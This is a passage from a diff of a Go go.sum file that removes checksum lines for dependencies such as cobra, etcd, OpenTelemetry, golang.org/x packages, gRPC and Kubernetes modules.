v0.5.4/go.mod h1:HS1ZKa3kSN32ZHVZ7ZLPLXWvOVIiZtyJnO1gPH1sKt0= -github.com/sergi/go-diff v1.2.0 h1:XU+rvMAioB0UC3q1MFrIQy4Vo5/4VsRDQQXHsEya6xQ= -github.com/sergi/go-diff v1.2.0/go.mod h1:STckp+ISIX8hZLjrqAeVduY0gWCT9IjLuqbuNXdaHfM= -github.com/shopspring/decimal v1.4.0 h1:bxl37RwXBklmTi0C79JfXCEBD1cqqHt0bbgBAGFp81k= -github.com/shopspring/decimal v1.4.0/go.mod h1:gawqmDU56v4yIKSwfBSFip1HdCCXN8/+DMd9qYNcwME= -github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ= -github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ= -github.com/soheilhy/cmux v0.1.5 h1:jjzc5WVemNEDTLwv9tlmemhC73tI08BNOIGwBOo10Js= -github.com/soheilhy/cmux v0.1.5/go.mod h1:T7TcVDs9LWfQgPlPsdngu6I6QIoyIFZDDC6sNE1GqG0= -github.com/spf13/cobra v1.10.2 h1:DMTTonx5m65Ic0GOoRY2c16WCbHxOOw6xxezuLaBpcU= -github.com/spf13/cobra v1.10.2/go.mod h1:7C1pvHqHw5A4vrJfjNwvOdzYu0Gml16OCs2GRiTUUS4= -github.com/spf13/pflag v1.0.9/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= -github.com/spf13/pflag v1.0.10 h1:4EBh2KAYBwaONj6b2Ye1GiHfwjqyROoF4RwYO+vPwFk= -github.com/spf13/pflag v1.0.10/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= -github.com/stoewer/go-strcase v1.3.0 h1:g0eASXYtp+yvN9fK8sH94oCIk0fau9uV1/ZdJ0AVEzs= -github.com/stoewer/go-strcase v1.3.0/go.mod h1:fAH5hQ5pehh+j3nZfvwdk2RgEgQjAoM8wodgtPmh1xo= -github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= -github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= -github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= -github.com/stretchr/objx v0.5.2 h1:xuMeJ0Sdp5ZMRXx/aWO6RZxdr3beISkG5/G/aIRr3pY= -github.com/stretchr/objx v0.5.2/go.mod h1:FRsXN1f5AsAjCGJKqEizvkpNtU+EGNCLh3NxZ/8L+MA= -github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= -github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= -github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= -github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= -github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= -github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= -github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U= -github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U= -github.com/tidwall/pretty v1.0.0/go.mod h1:XNkn88O1ChpSDQmQeStsy+sBenx6DDtFZJxhVysOjyk= -github.com/tmc/grpc-websocket-proxy v0.0.0-20220101234140-673ab2c3ae75 h1:6fotK7otjonDflCTK0BCfls4SPy3NcCVb5dqqmbRknE= -github.com/tmc/grpc-websocket-proxy v0.0.0-20220101234140-673ab2c3ae75/go.mod h1:KO6IkyS8Y3j8OdNO85qEYBsRPuteD+YciPomcXdrMnk= -github.com/x448/float16 v0.8.4 h1:qLwI1I70+NjRFUR3zs1JPUCgaCXSh3SW62uAKT1mSBM= -github.com/x448/float16 v0.8.4/go.mod h1:14CWIYCyZA/cWjXOioeEpHeN/83MdbZDRQHoFcYsOfg= -github.com/xdg-go/pbkdf2 v1.0.0/go.mod h1:jrpuAogTd400dnrH08LKmI/xc1MbPOebTwRqcT5RDeI= -github.com/xdg-go/scram v1.1.1/go.mod h1:RaEWvsqvNKKvBPvcKeFjrG2cJqOkHTiyTpzz23ni57g= -github.com/xdg-go/stringprep v1.0.3/go.mod h1:W3f5j4i+9rC0kuIEJL0ky1VpHXQU3ocBgklLGvcBnW8= -github.com/xiang90/probing v0.0.0-20221125231312-a49e3df8f510 h1:S2dVYn90KE98chqDkyE9Z4N61UnQd+KOfgp5Iu53llk= -github.com/xiang90/probing v0.0.0-20221125231312-a49e3df8f510/go.mod h1:UETIi67q53MR2AWcXfiuqkDkRtnGDLqkBTpCHuJHxtU= -github.com/xlab/treeprint v1.2.0 h1:HzHnuAF1plUN2zGlAFHbSQP2qJ0ZAD3XF5XD7OesXRQ= -github.com/xlab/treeprint v1.2.0/go.mod h1:gj5Gd3gPdKtR1ikdDK6fnFLdmIS0X30kTTuNd/WEJu0= -github.com/xyproto/randomstring v1.0.5 h1:YtlWPoRdgMu3NZtP45drfy1GKoojuR7hmRcnhZqKjWU= -github.com/xyproto/randomstring v1.0.5/go.mod h1:rgmS5DeNXLivK7YprL0pY+lTuhNQW3iGxZ18UQApw/E= -github.com/yosida95/uritemplate/v3 v3.0.2 h1:Ed3Oyj9yrmi9087+NczuL5BwkIc4wvTb5zIM+UJPGz4= -github.com/yosida95/uritemplate/v3 v3.0.2/go.mod h1:ILOh0sOhIJR3+L/8afwt/kE++YT040gmv5BQTMR2HP4= -github.com/youmark/pkcs8 v0.0.0-20181117223130-1be2e3e5546d/go.mod h1:rHwXgn7JulP+udvsHwJoVG1YGAP6VLg4y9I5dyZdqmA= -github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= -github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= -go.etcd.io/bbolt v1.4.3 h1:dEadXpI6G79deX5prL3QRNP6JB8UxVkqo4UPnHaNXJo= -go.etcd.io/bbolt v1.4.3/go.mod h1:tKQlpPaYCVFctUIgFKFnAlvbmB3tpy1vkTnDWohtc0E= -go.etcd.io/etcd/api/v3 v3.6.5 h1:pMMc42276sgR1j1raO/Qv3QI9Af/AuyQUW6CBAWuntA= -go.etcd.io/etcd/api/v3 v3.6.5/go.mod h1:ob0/oWA/UQQlT1BmaEkWQzI0sJ1M0Et0mMpaABxguOQ= -go.etcd.io/etcd/client/pkg/v3 v3.6.5 h1:Duz9fAzIZFhYWgRjp/FgNq2gO1jId9Yae/rLn3RrBP8= -go.etcd.io/etcd/client/pkg/v3 v3.6.5/go.mod h1:8Wx3eGRPiy0qOFMZT/hfvdos+DjEaPxdIDiCDUv/FQk= -go.etcd.io/etcd/client/v3 v3.6.5 h1:yRwZNFBx/35VKHTcLDeO7XVLbCBFbPi+XV4OC3QJf2U= -go.etcd.io/etcd/client/v3 v3.6.5/go.mod h1:ZqwG/7TAFZ0BJ0jXRPoJjKQJtbFo/9NIY8uoFFKcCyo= -go.etcd.io/etcd/pkg/v3 v3.6.5 h1:byxWB4AqIKI4SBmquZUG1WGtvMfMaorXFoCcFbVeoxM= -go.etcd.io/etcd/pkg/v3 v3.6.5/go.mod h1:uqrXrzmMIJDEy5j00bCqhVLzR5jEJIwDp5wTlLwPGOU= -go.etcd.io/etcd/server/v3 v3.6.5 h1:4RbUb1Bd4y1WkBHmuF+cZII83JNQMuNXzyjwigQ06y0= -go.etcd.io/etcd/server/v3 v3.6.5/go.mod h1:PLuhyVXz8WWRhzXDsl3A3zv/+aK9e4A9lpQkqawIaH0= -go.etcd.io/raft/v3 v3.6.0 h1:5NtvbDVYpnfZWcIHgGRk9DyzkBIXOi8j+DDp1IcnUWQ= -go.etcd.io/raft/v3 v3.6.0/go.mod h1:nLvLevg6+xrVtHUmVaTcTz603gQPHfh7kUAwV6YpfGo= -go.mongodb.org/mongo-driver v1.11.4/go.mod h1:PTSz5yu21bkT/wXpkS7WR5f0ddqw5quethTUn9WM+2g= -go.opentelemetry.io/auto/sdk v1.2.1 h1:jXsnJ4Lmnqd11kwkBV2LgLoFMZKizbCi5fNZ/ipaZ64= -go.opentelemetry.io/auto/sdk v1.2.1/go.mod h1:KRTj+aOaElaLi+wW1kO/DZRXwkF4C5xPbEe3ZiIhN7Y= -go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.60.0 h1:x7wzEgXfnzJcHDwStJT+mxOz4etr2EcexjqhBvmoakw= -go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.60.0/go.mod h1:rg+RlpR5dKwaS95IyyZqj5Wd4E13lk/msnTS0Xl9lJM= -go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.61.0 h1:F7Jx+6hwnZ41NSFTO5q4LYDtJRXBf2PD0rNBkeB/lus= -go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.61.0/go.mod h1:UHB22Z8QsdRDrnAtX4PntOl36ajSxcdUMt1sF7Y6E7Q= -go.opentelemetry.io/otel v1.40.0 h1:oA5YeOcpRTXq6NN7frwmwFR0Cn3RhTVZvXsP4duvCms= -go.opentelemetry.io/otel v1.40.0/go.mod h1:IMb+uXZUKkMXdPddhwAHm6UfOwJyh4ct1ybIlV14J0g= -go.opentelemetry.io/otel/exporters/otlp/otlptrace v1.34.0 h1:OeNbIYk/2C15ckl7glBlOBp5+WlYsOElzTNmiPW/x60= -go.opentelemetry.io/otel/exporters/otlp/otlptrace v1.34.0/go.mod h1:7Bept48yIeqxP2OZ9/AqIpYS94h2or0aB4FypJTc8ZM= -go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracegrpc v1.34.0 h1:tgJ0uaNS4c98WRNUEx5U3aDlrDOI5Rs+1Vifcw4DJ8U= -go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracegrpc v1.34.0/go.mod h1:U7HYyW0zt/a9x5J1Kjs+r1f/d4ZHnYFclhYY2+YbeoE= -go.opentelemetry.io/otel/metric v1.40.0 h1:rcZe317KPftE2rstWIBitCdVp89A2HqjkxR3c11+p9g= -go.opentelemetry.io/otel/metric v1.40.0/go.mod h1:ib/crwQH7N3r5kfiBZQbwrTge743UDc7DTFVZrrXnqc= -go.opentelemetry.io/otel/sdk v1.40.0 h1:KHW/jUzgo6wsPh9At46+h4upjtccTmuZCFAc9OJ71f8= -go.opentelemetry.io/otel/sdk v1.40.0/go.mod h1:Ph7EFdYvxq72Y8Li9q8KebuYUr2KoeyHx0DRMKrYBUE= -go.opentelemetry.io/otel/sdk/metric v1.40.0 h1:mtmdVqgQkeRxHgRv4qhyJduP3fYJRMX4AtAlbuWdCYw= -go.opentelemetry.io/otel/sdk/metric v1.40.0/go.mod h1:4Z2bGMf0KSK3uRjlczMOeMhKU2rhUqdWNoKcYrtcBPg= -go.opentelemetry.io/otel/trace v1.40.0 h1:WA4etStDttCSYuhwvEa8OP8I5EWu24lkOzp+ZYblVjw= -go.opentelemetry.io/otel/trace v1.40.0/go.mod h1:zeAhriXecNGP/s2SEG3+Y8X9ujcJOTqQ5RgdEJcawiA= -go.opentelemetry.io/proto/otlp v1.9.0 h1:l706jCMITVouPOqEnii2fIAuO3IVGBRPV5ICjceRb/A= -go.opentelemetry.io/proto/otlp v1.9.0/go.mod h1:xE+Cx5E/eEHw+ISFkwPLwCZefwVjY+pqKg1qcK03+/4= -go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto= -go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE= -go.uber.org/multierr v1.11.0 h1:blXXJkSxSSfBVBlC76pxqeO+LN3aDfLQo+309xJstO0= -go.uber.org/multierr v1.11.0/go.mod h1:20+QtiLqy0Nd6FdQB9TLXag12DsQkrbs3htMFfDN80Y= -go.uber.org/zap v1.27.0 h1:aJMhYGrd5QSmlpLMr2MftRKl7t8J8PTZPA732ud/XR8= -go.uber.org/zap v1.27.0/go.mod h1:GB2qFLM7cTU87MWRP2mPIjqfIDnGu+VIO4V/SdhGo2E= -go.uber.org/zap v1.27.1 h1:08RqriUEv8+ArZRYSTXy1LeBScaMpVSTBhCeaZYfMYc= -go.uber.org/zap v1.27.1/go.mod h1:GB2qFLM7cTU87MWRP2mPIjqfIDnGu+VIO4V/SdhGo2E= -go.yaml.in/yaml/v2 v2.4.3 h1:6gvOSjQoTB3vt1l+CU+tSyi/HOjfOjRLJ4YwYZGwRO0= -go.yaml.in/yaml/v2 v2.4.3/go.mod h1:zSxWcmIDjOzPXpjlTTbAsKokqkDNAVtZO0WOMiT90s8= -go.yaml.in/yaml/v3 v3.0.4 h1:tfq32ie2Jv2UxXFdLJdh3jXuOzWiL1fo0bu/FbuKpbc= -go.yaml.in/yaml/v3 v3.0.4/go.mod h1:DhzuOOF2ATzADvBadXxruRBLzYTpT36CKvDb3+aBEFg= -golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= -golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= -golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= -golang.org/x/crypto v0.0.0-20220622213112-05595931fe9d/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= -golang.org/x/crypto v0.47.0 h1:V6e3FRj+n4dbpw86FJ8Fv7XVOql7TEwpHapKoMJ/GO8= -golang.org/x/crypto v0.47.0/go.mod h1:ff3Y9VzzKbwSSEzWqJsJVBnWmRwRSHt/6Op5n9bQc4A= -golang.org/x/exp v0.0.0-20240719175910-8a7402abbf56 h1:2dVuKD2vS7b0QIHQbpyTISPd0LeHDbnYEryqj5Q1ug8= -golang.org/x/exp v0.0.0-20240719175910-8a7402abbf56/go.mod h1:M4RDyNAINzryxdtnbRXRL/OHtkFuWGRjvuhBJpk2IlY= -golang.org/x/exp v0.0.0-20240823005443-9b4947da3948 h1:kx6Ds3MlpiUHKj7syVnbp57++8WpuKPcR5yjLBjvLEA= -golang.org/x/exp v0.0.0-20240823005443-9b4947da3948/go.mod h1:akd2r19cwCdwSwWeIdzYQGa/EZZyqcOdwWiwj5L5eKQ= -golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= -golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= -golang.org/x/mod v0.32.0 h1:9F4d3PHLljb6x//jOyokMv3eX+YDeepZSEo3mFJy93c= -golang.org/x/mod v0.32.0/go.mod h1:SgipZ/3h2Ci89DlEtEXWUk/HteuRin+HHhN+WbNhguU= -golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= -golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= -golang.org/x/net v0.0.0-20200226121028-0de0cce0169b/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= -golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= -golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= -golang.org/x/net v0.49.0 h1:eeHFmOGUTtaaPSGNmjBKpbng9MulQsJURQUAfUwY++o= -golang.org/x/net v0.49.0/go.mod h1:/ysNB2EvaqvesRkuLAyjI1ycPZlQHM3q01F02UY/MV8= -golang.org/x/oauth2 v0.34.0 h1:hqK/t4AKgbqWkdkcAeI8XLmbK+4m4G5YeQRrmiotGlw= -golang.org/x/oauth2 v0.34.0/go.mod h1:lzm5WQJQwKZ3nwavOZ3IS5Aulzxi68dUSgRHujetwEA= -golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.19.0 h1:vV+1eWNmZ5geRlYjzm2adRgW2/mcpevXNg50YZtPCE4= -golang.org/x/sync v0.19.0/go.mod h1:9KTHXmSnoGruLpwFjVSX0lNNA75CykiMECbovNTZqGI= -golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20210616094352-59db8d763f22/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.40.0 h1:DBZZqJ2Rkml6QMQsZywtnjnnGvHza6BTfYFWY9kjEWQ= -golang.org/x/sys v0.40.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks= -golang.org/x/sys v0.42.0 h1:omrd2nAlyT5ESRdCLYdm3+fMfNFE/+Rf4bDIQImRJeo= -golang.org/x/sys v0.42.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw= -golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= -golang.org/x/term v0.39.0 h1:RclSuaJf32jOqZz74CkPA9qFuVTX7vhLlpfj/IGWlqY= -golang.org/x/term v0.39.0/go.mod h1:yxzUCTP/U+FzoxfdKmLaA0RV1WgE0VY7hXBwKtY/4ww= -golang.org/x/term v0.41.0 h1:QCgPso/Q3RTJx2Th4bDLqML4W6iJiaXFq2/ftQF13YU= -golang.org/x/term v0.41.0/go.mod h1:3pfBgksrReYfZ5lvYM0kSO0LIkAl4Yl2bXOkKP7Ec2A= -golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= -golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= -golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= -golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= -golang.org/x/text v0.33.0 h1:B3njUFyqtHDUI5jMn1YIr5B0IE2U0qck04r6d4KPAxE= -golang.org/x/text v0.33.0/go.mod h1:LuMebE6+rBincTi9+xWTY8TztLzKHc/9C1uBCG27+q8= -golang.org/x/time v0.9.0 h1:EsRrnYcQiGH+5FfbgvV4AP7qEZstoyrHB0DzarOQ4ZY= -golang.org/x/time v0.9.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM= -golang.org/x/time v0.15.0 h1:bbrp8t3bGUeFOx08pvsMYRTCVSMk89u4tKbNOZbp88U= -golang.org/x/time v0.15.0/go.mod h1:Y4YMaQmXwGQZoFaVFk4YpCt4FLQMYKZe9oeV/f4MSno= -golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= -golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= -golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= -golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= -golang.org/x/tools v0.41.0 h1:a9b8iMweWG+S0OBnlU36rzLp20z1Rp10w+IY2czHTQc= -golang.org/x/tools v0.41.0/go.mod h1:XSY6eDqxVNiYgezAVqqCeihT4j1U2CCsqvH3WhQpnlg= -golang.org/x/tools/go/expect v0.1.1-deprecated h1:jpBZDwmgPhXsKZC6WhL20P4b/wmnpsEAGHaNy0n/rJM= -golang.org/x/tools/go/expect v0.1.1-deprecated/go.mod h1:eihoPOH+FgIqa3FpoTwguz/bVUSGBlGQU67vpBeOrBY= -golang.org/x/tools/go/packages/packagestest v0.1.1-deprecated h1:1h2MnaIAIXISqTFKdENegdpAgUXz6NrPEsbIeWaBRvM= -golang.org/x/tools/go/packages/packagestest v0.1.1-deprecated/go.mod h1:RVAQXBGNv1ib0J382/DPCRS/BPnsGebyM1Gj5VSDpG8= -golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= -golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= -golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= -golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= -gomodules.xyz/jsonpatch/v2 v2.4.0 h1:Ci3iUJyx9UeRx7CeFN8ARgGbkESwJK+KB9lLcWxY/Zw= -gomodules.xyz/jsonpatch/v2 v2.4.0/go.mod h1:AH3dM2RI6uoBZxn3LVrfvJ3E0/9dG4cSrbuBJT4moAY= -gonum.org/v1/gonum v0.16.0 h1:5+ul4Swaf3ESvrOnidPp4GZbzf0mxVQpDCYUQE7OJfk= -gonum.org/v1/gonum v0.16.0/go.mod h1:fef3am4MQ93R2HHpKnLk4/Tbh/s0+wqD5nfa6Pnwy4E= -google.golang.org/genproto/googleapis/api v0.0.0-20260319201613-d00831a3d3e7 h1:41r6JMbpzBMen0R/4TZeeAmGXSJC7DftGINUodzTkPI= -google.golang.org/genproto/googleapis/api v0.0.0-20260319201613-d00831a3d3e7/go.mod h1:EIQZ5bFCfRQDV4MhRle7+OgjNtZ6P1PiZBgAKuxXu/Y= -google.golang.org/genproto/googleapis/rpc v0.0.0-20260311181403-84a4fc48630c h1:xgCzyF2LFIO/0X2UAoVRiXKU5Xg6VjToG4i2/ecSswk= -google.golang.org/genproto/googleapis/rpc v0.0.0-20260311181403-84a4fc48630c/go.mod h1:4Hqkh8ycfw05ld/3BWL7rJOSfebL2Q+DVDeRgYgxUU8= -google.golang.org/grpc v1.79.3 h1:sybAEdRIEtvcD68Gx7dmnwjZKlyfuc61Dyo9pGXXkKE= -google.golang.org/grpc v1.79.3/go.mod h1:KmT0Kjez+0dde/v2j9vzwoAScgEPx/Bw1CYChhHLrHQ= -google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= -google.golang.org/protobuf v1.27.1/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= -google.golang.org/protobuf v1.36.11 h1:fV6ZwhNocDyBLK0dj+fg8ektcVegBBuEolpbTQyBNVE= -google.golang.org/protobuf v1.36.11/go.mod h1:HTf+CrKn2C3g5S8VImy6tdcUvCska2kB7j23XfzDpco= -gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= -gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= -gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= -gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= -gopkg.in/evanphx/json-patch.v4 v4.13.0 h1:czT3CmqEaQ1aanPc5SdlgQrrEIb8w/wwCvWWnfEbYzo= -gopkg.in/evanphx/json-patch.v4 v4.13.0/go.mod h1:p8EYWUEYMpynmqDbY58zCKCFZw8pRWMG4EsWvDvM72M= -gopkg.in/inf.v0 v0.9.1 h1:73M5CoZyi3ZLMOyDlQh031Cx6N9NDJ2Vvfl76EDAgDc= -gopkg.in/inf.v0 v0.9.1/go.mod h1:cWUDdTG/fYaXco+Dcufb5Vnc6Gp2YChqWtbxRZE0mXw= -gopkg.in/natefinch/lumberjack.v2 v2.2.1 h1:bBRl1b0OH9s/DuPhuXpNl+VtCaJXFZ5/uEFST95x9zc= -gopkg.in/natefinch/lumberjack.v2 v2.2.1/go.mod h1:YD8tP3GAjkrDg1eZH7EGmyESg/lsYskCTPBJVb9jqSc= -gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 h1:uRGJdciOHaEIrze2W8Q3AKkepLTh2hOroT7a+7czfdQ= -gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw= -gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= -gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= -gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= -gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= -gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= -k8s.io/api v0.35.3 h1:pA2fiBc6+N9PDf7SAiluKGEBuScsTzd2uYBkA5RzNWQ= -k8s.io/api v0.35.3/go.mod h1:9Y9tkBcFwKNq2sxwZTQh1Njh9qHl81D0As56tu42GA4= -k8s.io/apiextensions-apiserver v0.35.3 h1:2fQUhEO7P17sijylbdwt0nBdXP0TvHrHj0KeqHD8FiU= -k8s.io/apiextensions-apiserver v0.35.3/go.mod h1:tK4Kz58ykRpwAEkXUb634HD1ZAegEElktz/B3jgETd8= -k8s.io/apimachinery v0.35.3 h1:MeaUwQCV3tjKP4bcwWGgZ/cp/vpsRnQzqO6J6tJyoF8= -k8s.io/apimachinery v0.35.3/go.mod h1:jQCgFZFR1F4Ik7hvr2g84RTJSZegBc8yHgFWKn//hns= -k8s.io/apiserver v0.35.3 h1:D2eIcfJ05hEAEewoSDg+05e0aSRwx8Y4Agvd/wiomUI= -k8s.io/apiserver v0.35.3/go.mod h1:JI0n9bHYzSgIxgIrfe21dbduJ9NHzKJ6RchcsmIKWKY= -k8s.io/cli-runtime v0.35.3 h1:UZq4ipNimtzBmhN7PPKbfAdqo8quK0H0UdGl6qAQnqI= -k8s.io/cli-runtime v0.35.3/go.mod 